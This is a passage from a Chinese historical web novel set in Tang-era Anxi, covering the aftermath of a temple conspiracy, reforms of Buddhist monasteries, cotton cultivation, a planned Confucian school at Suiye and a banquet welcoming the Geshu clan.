“我……我……”阿伊娜被她驳得无话可说,半晌终于低下眼睛,“这当然不是我想要的,但我只是不甘心。” 为什么是我被牺牲?为什么是我被折磨?为什么…… 褚沅凝望着她的眼眸:“我知道。我也无意劝你原谅或放下。我今日来,就是要带你出去看看的。” “带我出去看看?”阿伊娜不解地望向她。 纷飞的大雪已经停了,地面积了一层薄雪,在中午炽烈的阳光下莹莹地泛着光。 宽阔的刑场之上,与此案有关的昭怙厘寺中人、龟兹贵胄以及几个汉、突商人跪倒在场边一排。 安西大都护阿史那献高坐桌案之后。洛北难得一身绯袍,手捧几卷文书登上高台。 他展开刑部复核过的处罚文书,朗声念道: “……尔骄奢淫逸,混乱法纪,阴谋叛乱,勾结外藩,罪当处斩!身死之后,悬首城头三日,以儆效尤!” 他声音一住,刽子手便押着一众人犯上台,验明正身,待到午时三刻,一并问斩。 阿伊娜下意识地别过脸去,不再看那些鲜血淋漓的场景。 褚沅会意,轻轻敲了敲马车门,马车再度起行,向王宫方向行去。 “陛下亦下诏申斥白莫苾管辖无方,命安西都护府兼辖龟兹国事。”在滚滚的车轮声中,褚沅柔声道,“我知道,现在这迟到的正义……对你没有什么意义,但若能使你怨气稍平,那今日这一趟,我就没有白来。” 阿伊娜拿衣袖抹掉自己眼角的眼泪:“你费这么大的心力,又是劝我,又是带我出门,一定有目的吧?你们想要我做什么?” 褚沅道:“其一么,我确实是受了那些舞姬们的托。其二么……我们想知道你与默啜的通信渠道。” “反正我也是要死的人了,给我一个晚上,我把默啜与我的勾结、龟兹那些心怀鬼胎的贵胄人家都写出来给你们……”阿伊娜道,“别用那种眼神望着我,我不喜欢人家同情我,你要真的有心,就替我那些姑娘们找个去处吧。” “这个啊……”褚沅笑了笑,“我已经有想法了。” 除夕的清晨,褚沅依约再度造访高塔。 士兵为她打开房门,却在看清房内景象时忍不住惊呼一声:“她……她……” 褚沅比他镇静得多,她迈入房中,从妆台上拿起那一叠稿纸,替公主拭去唇边的鲜血,将她的尸首扶回床上,最后才端起莹白的瓷瓶,将杯中之酒尽数倒在了地上。 她走出房门,走下高塔,洛北已经等在了塔下,见她神情一如既往,才有些放心:“沅儿,公主如何了?” “阿伊娜么?她已经畏罪自戕了。”褚沅将那一叠文稿双手呈给他,“起头三张是她的遗书,剩下的是她所交代的情况。可以与我们现在掌握的信息一道查证。” 洛北见她神情自若,原本要问的关切也没能说出口,只好看着她,想从她身上找出些端倪来。 “阿兄不必担心我,这样的事情,从前在女皇身边的时候我不知做了多少。”褚沅察觉到他的目光,抬起头来对他笑了笑,“我只是在想,阿兄当真不能灭佛么?” “为什么这么说?”洛北问。 “西域佛风太盛,佛寺聚集了太多土地、财富和人口,导致这些僧人只要有人想,就能掀起一场叛乱。阿兄身上又有那么多祆神的故事,万一他们……”褚沅叹了口气,“这对阿兄在西域的统治,怕不是件好事。” 洛北微微颔首:“沅儿说的这些,我也想过。但西域地广人稀,许多地方是官府尚不能及之地,佛寺对百姓来说,不仅是信仰之地,更是市集、药铺,是普通百姓寻求帮助的所在,我如果贸然把这个支柱抽走,只怕会引起更大的动荡。” 他见褚沅若有所思,又顿了顿: “不过我已经决意借此事对这些佛寺加以约束,伷先会领诸判官巡视各寺,让他们清退多占的寺产、僧田,逐出没有度牒的僧人,并废除僧人的法外之权。我还会在各寺中寻访一批有望高僧,封他们‘上师’头衔,赐他们袈裟禅杖,命他们巡视各地,革清寺弊,令众僧严守戒律。” “阿兄真是公忠体国。”褚沅笑道,“我还有个想法,不知可以为补充否?” “和我还有什么忌讳,你直说就是。”洛北道。 褚沅道:“昔年中州板荡,戎狄交侵,河西安然一隅,有侯瑾、周生烈等大儒传代,河西学派自此自成一脉。如果我们也在西域引入儒学呢?” “开宗立派?”洛北笑了,“河西离长安半月路程,这里和碎叶离长安可是有数月路程啊……如今天下太平,那些饱学之士为什么要跋山涉水?” 褚沅摇了摇头:“我在长安与很多出身贫寒的饱学之士有交往,这些寒门子弟虽有满腹经纶,但总苦于无人欣赏,只要我们摆出千金买马骨的姿态来,他们定然愿意来边塞求取功名。” 洛北顿住步子,回过身来注视着褚沅,他那双琥珀色的眼眸璨如日光:“如若功成,沅儿,你希望这个‘碎叶学派’有什么样的主张呢?” 褚沅沉吟片刻,才道:“我希望,凡出自‘碎叶学派’者,能摒弃华而不实的文藻,以真情作文作赋。我还希望,他们能着眼实事,‘经世致用’,而不是只做空谈。” “既然如此,那就去做吧。”洛北点了点头,“你可以任意动用我的私库,若你要向朝廷上奏,我愿意与你一同署名。若你需要我的帮助,可以向我开口,我愿帮助你,促成此事。” 褚沅几乎要笑出声了:“阿兄不觉得我这是大逆不道?也不觉得我在异想天开吗?自古从未有女子以儒士身份开宗立派……” “这有什么关系?你说的都是过去的事情了。”洛北敲了敲她手中的文稿,“现在……轮到你注经典了。” 160-170 第161章 水落现白骨。 景龙三年的春日来得比往年更早一点, 一月刚过,赤河水便已起了波涛,支流蜿蜒, 汇入东川水之中。 河岸边到处站满了参与开凿的民工与农民, 其中有不少是昭怙厘寺及附近寺庙刚刚清退的寺奴,靠着参与开凿水利的吃食,他们挨过了没有田地的一冬,眼下他们正翘首盼望着沟渠挖通,将自己新分的田地变为良田。 洛北一身绯色官袍, 在众人簇拥之下来到沟渠之前,人群之中顿时爆发出一声声震天的欢呼。他举手示意,闸门边的士兵们开始齐齐地摇动手杆。 水流奔涌, 流入了各家田地之间。欢呼声震耳欲聋,就在众人欢呼雀跃地要跑去自家田地之间预备春耕的时候,上游水位逐渐下降的河面上, 忽而露出一个洁白的骷髅头。 洛北当机立断, 立刻回头喊他的属下们:“巴彦,去安西衙署把司法参军和仵作一起叫过来!阿拔思,叫士兵们组成人墙,不要让百姓们被挤下去了。” 他自己上前一步, 立在河岸的一处高崖上,以己为界, 这才压住了阵势。人群安静下来,都望着水面上。 随着水位逐渐下降,骷髅的全身也显露出来。 原来那骷髅跌足而坐在河心的一块大石上, 手腕上挂着一只金环,左边的足踝上系着一根铁链, 上面绑了个巨大的铁块——这铁块显然就是让他溺死再河中的“凶器”。 “这是我师父!”人群之中,有个少年僧人的声音分外响亮,他挤了又挤,才穿出人群,但怎么也绕不开那亲兵们组成的人墙:“洛将军,洛将军,让我过去!这是我师父!” “慧光?”洛北打了个手势,示意阿拔思放他过来:“你怎么能断定这是你师父?” 慧光道:“我师父也有一个这样的金环,上面是蛇的图样。你取下来就知道了。” 说话之间,司法参军已经带着差役们把骷髅拉了上来,金环扣在骷髅之上,难以取下。司法参军低头验看一番:“将军,确实如这小僧所说,上面是蛇的图样。” “蛇的图样?”洛北好奇地蹲下身,往金环上望了一眼:“这是虺蛇。” “对,对,是这么读来着。”慧光挠了挠头:“那个字可难写了。师父教了我好多遍呢,说是他出家之前的姓氏。”他说着就忍不住想起与师父相处的过往,开始低声哭泣起来。 洛北深深地叹了口气,一时之间,竟一个字都说不出来。 越王李贞谋反叛乱后,女皇株连李唐宗室,把他们的“李”改为“虺”姓,打入流人籍中,流放岭南。 慧光的老师留有此物,那他也应当是位李唐宗室。 三年前李唐已经中兴,他带着慧光从天竺回到安西,或许也有想回到长安,认祖归宗的想法,可他终究是为了此地百姓留了下来,并把自己永远地留在了这片土地上。 洛北沉思之间,不远处又有一群人匆匆赶来。 为首者一身袈裟,正是暂代昭怙厘寺监院职责的博明,他远远地望见骷髅模样,双膝跪地,合十感念道:“阿弥陀佛,我有生之年,得见此佛祖显圣之象,我愿足矣!” “法师为何如此说?”旁边有人问道。 “东川之水何其湍急,此骷髅却端坐石间,如佛坐莲花台上,若非佛法庇佑,岂能得见?”博明万分感慨,行过大礼,才走到众人之前,挽起慧光的手臂,“孩子,不要悲伤,你的师父已经得了正果。” 慧光与他素来亲厚,又久受佛法熏陶,听他这样一说,缓缓地止住眼泪:“真的吗?” “当然是真的。”博明上前一步,对洛北道了个大礼,“将军,博明妄自修行四十年,耽于琐事,不能得正道。今见此僧涅槃之相,方才觉悟。为民行善,普渡众生,方为成佛之意。” 他身后众僧齐颂佛号,向洛北躬身。 洛北神情平静端严:“我是俗世中人,无法参悟佛法,此白骨既为佛家圣迹,便由博明法师同慧光和尚一道处置才是。” “多谢将军。”博明道,“本寺会将他塑为金身,供奉在殿上,日日顶礼膜拜。” 洛北颔首:“那便应法师所请。法师,金身塑成之日,我一定到场。” 博明笑道:“承蒙将军关心,那时本寺一定连做三日大法会,以昭世人。” 他话音未落,身后几个弟子已经找了块木板抬起骷髅,准备向昭怙厘寺中去。慧光也跟在他们身后,走了几步,又像想起什么似的,折回来给洛北道了个大礼: “将军,要不是你开私库完成了我师父的宏愿,我想他也不能修成正果,多谢你。” 洛北轻轻一笑,并不应答。 人群随着僧人们散去后,士兵们也终于没了任务,阿拔思命众人自由活动,自己却和巴彦一道围到洛北身边:“将军真的相信博明的话?我怎么觉得他是有意在为昭怙厘寺脱罪?” 慧光的师父是因为发现了昭怙厘寺的阴谋才被杀,若洛北真要命司法参军察查此案,只怕昭怙厘寺又要不宁。 洛北看了一眼他,笑道:“都有。他确实相信此骷髅在此显现是有佛法相助,也不愿意再让昭怙厘寺起动荡,所以才不愿让我继续查下去。不过……首恶已经伏法,他也给了我应有的交换条件,我愿意将此事轻轻放下。” “交换条件?”巴彦问,“刚刚他和将军提条件了?” “他说要行善,要普渡众生,其实是个托辞。他的意思是昭怙厘寺将带头出资出力,修建水利和道路。”洛北笑道,“昭怙厘寺毕竟是西域大寺,上行下效,想来三五年内,附近州县都能受到恩惠。” 巴彦摇了摇头:“我看还是昭怙厘寺太有钱了。就该抄了他们才是。” “这样说倒也是。”洛北摆了摆手,“不过我还记得于阗太子说过的话……” “他说,人生多苦难,暗夜之中,人们总要念诵一个名字来抚平伤痛。” 谷雨过后,共有二十位僧人通过推选、三轮大比、五轮小试,及两场公开讲经,四场公开辩经脱颖而出,成为“上师”。他们有人来自天竺,有人来自于阗,还有人来自昭怙厘寺……洛北亲自赠予他们袈裟禅杖,将整顿佛寺的重任托付给了他们。 “此事过后,我怕就不能再留在父亲身边了。天山已经重染苍翠,我该去碎叶城了。” 伊逻卢城外,洛北同阿史那献放马在戈壁上漫步,背后是天山苍翠,白雪皑皑。 “此番整顿之后,伊逻卢城已无反叛藏身之地,你放心吧。”阿史那献见他心思沉重,忍不住伸手揉了揉他的头发,“老神在在的,想什么呢?” “默啜已经决意调遣阙特勤换防西域。我担心北庭都护郭虔瓘不是他的对手。” 阿史那献笑道:“我在北庭的时候,郭虔瓘就是我的下属,我了解他的为人……要他主动出击与阙特勤对抗,确实不容易。但庭州城高池险,让他据城自守,还是不成问题。” 洛北道:“如果阙特勤绕过庭州呢?” “那就要看阙特勤敢不敢来了,拓西可汗才在西域丢了五万大军,他又年轻初任……光梳理此地的部族关系,建立威信,便需要不短的时日。” 阿史那献久任北庭都护,对北庭情势了如指掌,他们一路走,一路闲谈,不觉之间,已经重新走到东川水的下游。 “看这土地,这里应当就是曾被洪水淹没的地方。父亲,您那两位随从的棉花地也当在附近。”洛北跳下马,拈起一块土,在手中碾碎,“父亲要去看看么?” 阿史那献知道他想去,只是碍于自己这个父亲在面前,不好意思拽着自己去办公事,只笑道:“好啊,我也好久没见过阿银和阿成了。” 洛北那日拜访完东川下游的村庄归来,正为洪水过后的土地碱化,无法生长庄稼发愁。恰巧阿史那献从崖山带回来的两个随从在身侧,便提议把这部分田地挪作棉花田。 他们都是黎族子弟,在崖山的时候,族人们就是在这样的土地上种植棉花的。他们种出来的棉花绒团又大,棉头又长,可以织成极细腻的面料,也可以塞在布料中当铺盖。 洛北也在西域见过棉花,那棉团极短,做出来的布料很是粗糙,一时不信他们的话。直到阿银从家中捧了一条棉被来,才打消他的疑惑。 “我到了西域,也在自家的田地里种了不少。”阿银笑道:“要是殿下和副大都护愿意多给我们些田地,我们也愿意把这种棉花的本事教给大家。” 于是阿史那献和洛北应允他们所请,划给他们五十亩田地,让他们在这里种棉花。 如今这片田地绿意盎然,是棉花已经开始抽芽了。几个老农民正伏地劳作,其中一人抬起头来擦汗,看到洛北,极热情地招呼他:“喂!公子!还记得我吗?!” 洛北定睛望去,竟是当时在东川下游的那个老人。他笑着过去:“老人家,最近如何?” “一切都好。节前刚借着沟渠春灌,把粮食种下去,可惜呀,我的好地太少了,这会儿在家正闲不住。可巧,官府的人出钱出种子,来教我们种棉花。”他指了指这一片田地,“你看,我这地本来被洪水淹过,是长不出庄稼的。现在这棉花正抽芽呢,这样我到了冬天,也有厚衣裳穿了!” 他满脸希冀,也感染了洛北,他的心情逐渐好转,于是,他们父子在此地稍作休息,便继续沿着河流向下而行。不到一刻钟,远处一片新修的土房就映入他们眼帘。 屋外拉着数根晾衣绳,垂挂着一片片新染的布。屋中有人声音正响: “上回我们讲了染布,这回我们再说如何染出花纹布,看我手边这些模具,将它沾上蜡,再把蜡印到布料上哎,小心些,不要烧着手。”台上的女子拉高声音,却没能止住台下一众女子纷纷向外望去。 褚沅本立在众人之后,见状也随着她们的目光向外望去,正看到洛北那张俊朗的面容出现在窗外。她不由得轻轻一笑,走出后门:“阿兄,你把这些姑娘的魂都拐走了。” 第162章 大唐想要以天可汗之名号令西域,那就少不得要履行天可汗的职责,出兵协助昭武九姓和吐火罗叶护共击大食。 洛北低头轻轻咳嗽了一声:“沅儿, 来和父亲见礼。” 褚沅这才注意到阿史那献也在他身后,忙屈膝向他道礼:“见过大都护。两位怎么有闲暇到这里来?” 阿史那献回答:“左右无事,就出来看看。对了, 不日你们就要去碎叶, 这里你打算由谁照看?” 婆罗陀酒肆覆灭之后,原来的几十个舞姬都没了生计。家中还有人在的女郎,褚沅就发给路钱,叫她们结伴回家。要是家中无人的,就只能留下来了。 褚沅道:“毕姮姬, 她本是粟特豪商的女儿,家中曾经经营着横跨东西的布匹生意。织布染布,经商行商, 她都是行家。她已经和阿银、阿成说定了,等棉花种出来,也要拿到这边来纺布染布。” 阿史那献笑道:“我刚刚听了一会儿, 染布织布都是辛苦差事。她们可能吃得了这样的苦?婆罗陀酒肆的账本我看过, 她们当中不少人一晚上收到的赏钱,就够在这里干一年的了。” “大都护有所不知,账本上记的那些钱,一个子儿也落不到她们自己的手里。刚同她们认识的时候, 我整夜整夜地听她们讲自己的事,什么大冬天里穿着单衣上台跳舞, 跳得不好就要挨打,生了病便赶出酒肆去——不养小的,不养老的, 红极一时的舞姬,年华老去, 也逃不过倒毙街头” 她轻轻叹息一声,垂下眼眸望着地面:“不过,她们之中真有想回酒肆谋事的,我也不会硬拦就是了。” “此非一日之功。”洛北轻轻拍了拍她的肩:“你也不要把担子都压在自己身上。” “这话怎么是阿兄和我说了。”褚沅笑了:“我还有一件事想请阿兄帮忙,等这批布染出来之后,可否让裴公名下的店铺帮着售卖?毕姮姬已经答应了五五分成,六四分成也是可以的。” “伷先的产业我也有股,”洛北想了想,“我就把我那份利息让出来,做个三七分算了。” 他见褚沅要开口推辞,又补了一句:“沅儿,我做此事是有条件的,到了碎叶,我怕是有许多时间要在草原上过,衙署里堆着的文书和庶务” 褚沅知道他有意放手让自己施展才华,她抬眼望向洛北,一双眼眸中半是感动,半是一点胸有成竹的骄矜:“阿兄放心。” 数日之后,天朗气清,赶在春日的暖阳里,洛北带队北上,再度翻越天山,回到他久违了的碎叶城去。 晴朗的蓝天下,森林如海一般蔓延开来,唐军的旗帜如赤红的云,在林间飘舞着。红旗之后是天山终年不化的雪顶。 已在伊逻卢城闹出了那么大阵仗,洛北也就放弃了轻装简行的想法,仪仗、卫队、亲军还有想跟着军队一道去碎叶做生意的大小商人,队伍绵延数里,一望望不到头。 这一路多是山路,路途颠簸,褚沅戴着短纱幂篱,与一众将士一道骑马同行。 这一次赶路比之前从容得多,趁着休息,褚沅跳下马背,用水清可见底的潺潺溪水洗了洗手,她望着几尾被马蹄声惊醒的小鱼躲入石块下,脸上忍不住露出笑容。 洛北依旧一副唐军的绯袍,长发束在脑后随风飘扬,不着铠甲,不戴头盔,骑着一匹深青色的骏马走在队列之前。 他英俊的面容上还是一如既往的平静。但褚沅能从他的神态上感到他的放松,于是故意纵马赶上洛北,在他身后用力地甩了甩手。 毫无意外地,洛北被溅上的冷水激得一抖,他几乎是立刻转过身来,看到是褚沅,才把按在唐刀刀柄上的手放下:“沅儿,你真是……” “幼稚,是吗?”褚沅撩开幂篱的纱布,笑着对他歪了歪头。 “是幼稚,不过幼稚些也没什么不好。”洛北摇了摇头:“我收到消息,朝廷派了解大夫担任北庭都护,又委任薛讷为安西副大都护,镇于阗。” 薛讷是名将薛仁贵的长子,已经七十余岁,镇守幽州,并兼任安东都护多年,素有功勋。解琬更是老于朝政。他们论功勋或许不及洛北,论资历都远在洛北之上——可见他在安西整饬佛寺的动作实在是太大了,让朝廷起了辖制的心思。 “比起阿兄,倒是现在朝廷的情况更令人深思。”褚沅略作沉吟,才开口道: “解大夫被排挤出朝,薛讷又被调来安西,这代表魏相公掌控朝政的力量已经有所衰弱可最近,朝中没有什么大事。魏相公素来为陛下倚重,怎么会出现这样的情况?” 洛北也不得解法,干脆将这节丢开去,不再去想。 月余之后,他们终于到达碎叶城外,第一个迎接他们的是洛北所豢养的那只金雕。它已长得有半人高,羽翼展开,翱翔天际时,就像一朵巨大的乌云。 洛北伸出手,让它落在自己的手臂上,替它梳理了一下羽毛:“你在这里,那吴判官应当也不远了?” 金雕叫了一声,再度展开双翼,向天空飞去。洛北率部与它同行,一路入了碎叶城中。安西衙署外,吴钩已经等候多时,见到洛北时,他低身道礼:“公子爷。” 他似是饱经风霜,脸上已平添了许多皱纹,但那双眼睛也被磨得灼灼如火,显出一种冒险家特有的兴奋。 洛北把他扶起来:“吴判官一路辛苦了,走,我们进去说。” 碎叶城的安西衙署一切如常,洛北同吴钩一起走到议事厅中,那里的墙面已被一副巨大的地图所取代。 这副地图比以往所用的安西地图更加辽阔,按照比例,描绘着西到条支海,南到天竺,东到长安,北到坚昆都督府的关隘、山川、湖泊。 “吴判官应当见过褚郡君。”洛北指过褚沅,让他们互相见礼:“褚郡君此次随我一同来到碎叶,之后会为我执掌文书。吴判官若有庶务,也可寻她。” 吴钩笑道:“有殿前执掌制诰的女官撰写文书,公子就不必担心自己写的东西朝中那些人会看不惯了。” 洛北哈哈一笑:“吴判官说笑了。沅儿,这一年,我请吴判官以大唐使节的名义,带领商队一路向西,一路到西边的拂菻国方还。这幅地图,就是他替我收集描绘的。” “拂菻国,大秦的后裔么?我一直以为那是传闻之中的国家。”褚沅好奇道:“吴判官为什么要走那么远?” 吴钩看了一眼洛北。 洛北走到地图之前,以手敲了敲中间辽阔的“大食”二字,才轻轻开口: “大食屡屡侵犯昭武九姓和吐火罗,如今已有数国落入他们手中。大唐想要以天可汗之名号令西域,那就少不得要履行天可汗的职责,出兵协助昭武九姓和吐火罗叶护共击大食。” 他语意郑重,显然已经做了全盘打算。褚沅和吴钩都各自点头,对于这样的事情,洛北一旦决定,就绝无更改的可能。 “所以,一年多之前,我派遣吴判官以商队之名出使拂菻,一是想把之后征战的地方了解得更清楚些。二是想看看是否有可能联系拂菻夹击大食。” 洛北重新坐在矮榻上,望着吴钩: “不过,看吴判官的模样,想是第二个目的很难达到了。” “拂菻与大食确实怨恨深重。大食崛起以来,夺取了许多拂菻西部的土地。”吴钩道,“但拂菻如今内部动荡,君主更迭频繁,我派往君士坦丁堡的使节甚至在那里目睹了一场政变——内部动荡如此,想要让他们与千里之外的大唐合作,怕是几乎不可能的事情。所以我没有去拜访那里的君主,就折身返回了。” 洛北点了点头:“你做得对,吴判官。这样的情况下,即使我们与他们达成协议,他们也不会履行。大食内部如何?是否如我所知的那样,动荡不断?” “不错,大食与突厥汗国类似,军将皆出身部族,他们的部族子弟是他们最坚实的后盾,但他们自己也受到部族的掣肘。在此之前,镇守木鹿城的呼罗珊总督就屡屡因为摆不平部族矛盾被杀或被撤。” 吴钩接过褚沅递来的一杯热茶,润了润喉咙,对她报以感激的一笑: “但我了解到,现在镇守木鹿城的大食将军屈底波是出身小部族,在大食国内以军功著称,也是大食君主的左膀右臂。而且他现在已经征服了河中的许多土地,得到了许多粟特人的财富,因而广受敬畏。” 洛北望着那副地图,一种久违的棋逢对手之感又涌上了心头。但与往常不同,这次他是在一片陌生的土地上作战,也因为如此,他需要协调的资源远胜往昔——在这样的战场上,面对这样的对手,是不容许他犯错的: “再过两个月,就到了各部转场夏牧场的时候,我会发出命令,让各部首领来碎叶见我,并在草原上举行夏猎的仪式。吴判官可以将大食及昭武九姓各地的情况做个梳理,你先辛苦几日,同我的卫队及亲兵讲解一遍,作为演练。到了那时,我邀请你来给各部首领讲解。” 吴钩躬身向他道了个大礼:“属下领命。” 吴钩退出议事厅之后,洛北凝望着那片地图,陷入了一片对未来的沉思。 褚沅担心地望着他:“阿兄又要准备打仗了吗?” “没有那么快,至少两年之内,我不会轻举妄动。” 洛北带她走到桌前,从抽屉中拿出一副稍小些的碎叶地图:“现在最重要的事,是立刻组织百姓们在碎叶城附近开垦土地,预备春耕。” 第163章 “刚刚是大唐的右卫将军拜见大唐的安西副大都护。现在是哥舒部的族长拜见伟大的乌特特勤。” 按照之前金山议事时的规划, 哥舒部是第一个转场到碎叶城附近的部族。五月未完,哥舒亶就兴致勃勃地率着族中的十来个年轻子弟组成前队,一路跑马打猎, 到了碎叶城郊。 “堂兄!”哥舒翰今年已满了十七岁, 哥舒道元担心他在长安久居染了纨绔习气,就把他塞到了哥舒亶身边。 这一年草原上的牧民生活,已把他的面庞染得和大部分人一样黝黑,身形却像抽了条的树枝那样日渐高大起来。 此刻,他正骑在马上, 手持硬弓,弯弓搭箭,正要射一只奔跑的野兔:“堂兄你看!着——” “嗖”地一声, 那只羽箭正中野兔后腿,那兔子倒也顽强,拖着羽箭又跑出好远。 哥舒翰纵马要追, 却看到一只巨大的金雕从半空中俯冲而下, 一口叼走兔子,又飞到云层中看不见了。 他举着弓箭瞄了半晌,也没能瞄准金雕,气恼地把弓箭丢在地上:“哪里来的鬼东西!” 哥舒亶本在他身后十步, 慢悠悠地跑着马,见他任性, 便快跑几步,到了他身边。 哥舒亶滚身下马,把那把长弓重捡在手中:“又在胡闹了?弓箭不想要就给我。” “啊, 堂兄~”哥舒翰跳下马来,哭丧着一张脸:“我错了, 我错了,你别罚我不许打猎行不行?咱们在荒野上,就这些事情可做,要是不许我打猎,这几天都要闷死了。” 哥舒亶已经见多了他这套,也不睬他:“想得美,马上就要到碎叶城了。像你这样胡闹,我要罚你关禁闭!” 哥舒翰这下连装得都装不动了:“堂兄这,这。” “不罚也可以。”哥舒亶把弓拿在手中:“今日下榻的时候,把《礼记》的《射艺》篇给我抄五遍。” 在诸多汉家文书之中,哥舒翰最喜欢的是《春秋左传》和《汉书》,最不喜欢的便是拮据敖牙的《尚书》、《礼记》。他本想拿《春秋左传》来换,但哥舒亶已经板起面容,显然不是可以商量的样子,只得垂头丧气地应了,才接过弓箭,乖乖地回到马上去了。 “再有小半日,就能赶到碎叶城了。”哥舒亶看了看天色,回头同他的部族子弟发号施令:“咱们快马加鞭,务必在中午之前赶到碎叶,去蹭洛将军一顿午饭去!” 碎叶城外,一片片浅绿色的麦浪随风波动,压根望不到头。小麦已经结了穗,还未饱满,是轻飘飘的。草叶已经枯黄,参差不齐地竖立在播种迟了的田野上,也随风飘荡。 麦田之中,无数百姓正在俯身工作,哥舒部子弟马蹄带起的阵阵黄沙,并未引起他们的注意。 “真是了不起。”哥舒亶望着这一片麦田,由衷感慨道:“突骑施之战时,我曾奉命驻扎在此地,那时候城外还是一片荒野,这一晃眼,竟成了这般模样。” “哥舒将军,别干看着了。”洛北在麦田里直起腰,远远地喊他的名字,“要是闲着没事,下来干活吧。” 哥舒亶不可置信地望着眼前这个朝他走过来的头戴斗笠,身着粗布,挽着衣袖,打着绑腿的身影。直到洛北站到他面前,摘下斗笠,露出那张俊朗的面容和琥珀色的眼眸,他才反应过来,下马道礼——炽烈的阳光之下,洛北的眼睛比阳光还要璀璨:“见过大将军!” 洛北哈哈一笑:“怎么,没想到看到我的时候,会是这副模样?” “确实没想到,”哥舒亶摇了摇头:“将军毕竟也是官居三品的朝廷官员,封疆大吏……” “种田可不比在朝廷当官容易。”洛北正要说什么,话语却被不远处传来的一阵清亮的歌声给打断了: “桃三杏四柳叶弯,我取掉围裙把饭担。一头担的是馍篮子,那一头又把茶罐儿栓。” 不远处的田埂上冒出了一条头戴斗笠,肩担扁担的长队。哥舒亶远远地望去,能看到她们鬓间和帽上斜簪着的彩花。 为首的女郎身着圆领锦袍,戴着一顶缝着短纱的幂篱,她走到洛北身前,对哥舒亶道了个万福礼: “见过哥舒将军。早知将军要来,洛将军已经命我在城中置下了餐食。哥舒将军不若带着部族子弟同将军一道移步城中,我把地头这些事情料理了就来。” 哥舒亶不知她身份,一时有些手足无措,只把目光投向洛北。 “这是褚沅褚郡君。” “见过郡君。”哥舒亶抱拳向她道礼,心里却没能把眼前这个神采奕奕的女郎同传闻中那位女官联系起来。 洛北道:“沅儿辛苦。对了,有几个人我看着像是要中暑,你记得把那避暑的药茶分他们一碗。” “是。”褚沅颔首,辞别他们,走到田间去了。 洛北打了个手势,示意哥舒亶与他同行:“既然沅儿已经安排好了,咱们就进城去吧。我可是特地嘱咐了后厨,要多备些好酒。” “哎,将军,我有一事想要向你请教,你在田里劳作,怎么能知道是我来了呢?”哥舒亶重新跳上马,好奇问道。 洛北又笑了,他伸出手臂,金雕从空中俯冲而下,乖乖地落在了他的肩上。” 哥舒翰惊叫一声:“这是你的金雕?!它偷了我的猎物!” “不可无礼。”哥舒亶回头瞪了他一眼:“这位就是你朝思暮想的洛将军。” “这就是哥舒翰吧?于阗一别,如今已经是个少年人了。”洛北笑道:“你放心,你的猎物我已经命人留下了,一会儿就还给你。不过,要不是它带来了标着哥舒部族标记的羽箭,我也不能未卜先知,为你们置下这顿丰盛的午饭。看在一会儿的午饭份上,你就不要见怪了,如何?” 哥舒翰看着他一身农民模样,语气略带迟疑:“你,您您客气了。” 洛北和哥舒亶对视一眼,都忍不住哈哈大笑起来。 骑队一入城,喧哗的人声便如一股海浪扑了过来。街道两边满是各色商铺,彩旗招展,酒幌飘摇,一桩桩楼房之间的空地上,还有不少人撂地摆摊,吆喝声此起彼伏。街上人流不断——好在哥舒部的青年子弟们也是第一次见到如此繁华的城镇,各个放慢了脚步,在看街边人卖东西。 “碎叶城战乱多年,各处坊墙早被毁得七七八八。”洛北温声道:“后来昭武九姓战乱,城里又挤满了从那边逃难来的粟特人。撂地摆摊,街边设店已经成了惯例,我也就不打算硬把坊墙修起来。” “我又不是朝廷来的御史,将军何必和我解释这个。”哥舒亶笑道:“不过这样的事情,怕也只有你能做成。” 但凡换了旁的军纪不严的将领,这些商人和店铺免不了要被无故洗劫。 他们一路闲话些草原和碎叶城的事情,便到了安西衙署附近。衙署已按照四品将军的品级为哥舒亶一行人做了布置,几人约好午宴的时间,才各自在门口分别。 “这就是洛将军么?”躺到驿馆柔软的床榻上时,哥舒翰还是不敢相信,扯了扯哥舒亶的衣袖:“堂兄,我明明记得,从前在于阗的时候,他比现在这模样威风多了。” 哥舒亶捏了捏他的脸:“你呀,什么时候养成的这股先敬罗衣后敬人的脾气。你倒不妨想想,朝廷那么多州县,那么多官员,有哪位三品大员能与百姓在田间共同劳作?你自己呢?别说种田了,今天早上的马鞍还是亲兵帮你套的吧?” 哥舒翰没想到这件事情能被他抓包,缩了缩脑袋,生怕被他再罚一顿。 “明日起,自己的事情你自己做。”哥舒亶敲了敲他的脑袋:“不要指望在战场上也有人帮你套马鞍。” 哥舒翰讪讪应了,可当他回到房间,由馆驿的仆役抬来热水供他洗漱时,他又免不了自得起来,他挑挑拣拣,在包袱里找了件最华贵的衣裳,穿挂了金蹀躞,白玉佩,戴了一身的配饰,才兴冲冲地去安西衙署中参加午宴。 哥舒亶只换了一件端正的红色圆领袍,见他穿得这样华贵,只是摇了摇头,也懒得训他。 两人步入安西衙署,只见楼阁高企,处处雕梁画栋,数株青松掩映着屋檐,下方的风铃正在随风轻摆。地面皆由青白石板镶嵌,两边玉栏环绕,两边大柱飞鹰盘旋。 两人一道步入正堂,洛北高坐在牙床之上。他已换了突厥人的装扮,将一头乌云般的辫发垂在脑后,团花织金的绿绫袍外别出心裁地束了一条玉带,见到两人走进来,一双含笑的金色眼眸望了过来。 哥舒亶理了理衣袍,半跪在地,还没顾上去拉哥舒翰的衣袍,哥舒翰已经一弯膝盖,跪倒在地上,他顾不上那些叮叮当当的掉了一地的配饰,俯身在地: “见过洛将军。” 洛北走下牙床,伸手把他扶了起来:“这孩子多礼了。” “这是他应该的。” 哥舒亶整了整衣袍,也郑而重之地半跪在他面前:“还请将军上座,容我道礼。” 洛北笑道:“哥舒将军何必如此,刚刚在城外我们不是已经互相见过礼了?” “刚刚是大唐的右卫将军拜见大唐的安西副大都护。”哥舒亶沉声以突厥话道:“现在是哥舒部的族长拜见伟大的乌特特勤。” 他执意如此,洛北也不会阻拦,他重新端坐回牙床之上,看着哥舒亶以手抚肩,道了一个突厥大礼: “见过乌特特勤。” 第164章 “我宁愿马革裹尸,也不愿意七老八十时老死病榻上。” “这是樱桃酥山?” 这场繁盛的午宴一直持续到下午, 最后一道点心上来的时候,哥舒翰已醉了八成,望见那金碟中牛乳冰如雪山, 樱桃红如朱砂, 还是忍不住吃了一口:“好吃好吃,这杏酱配的也好,这样的点心,我在长安都没吃过呢。” 席上众人哄笑一堂。哥舒亶笑骂道:“算你小子聪明,今日操持宴会的褚郡君, 就是宫中女官出身,你也算见过世面了。” “是这样,失敬失敬。”哥舒翰站起来要对褚沅行礼, 却低估了自己的酒量,一个没站稳,差点栽倒在地上。他身侧的阿拔思忙扶了他一把, 把他交给仆役们带了下去。 “既然有人醉倒, 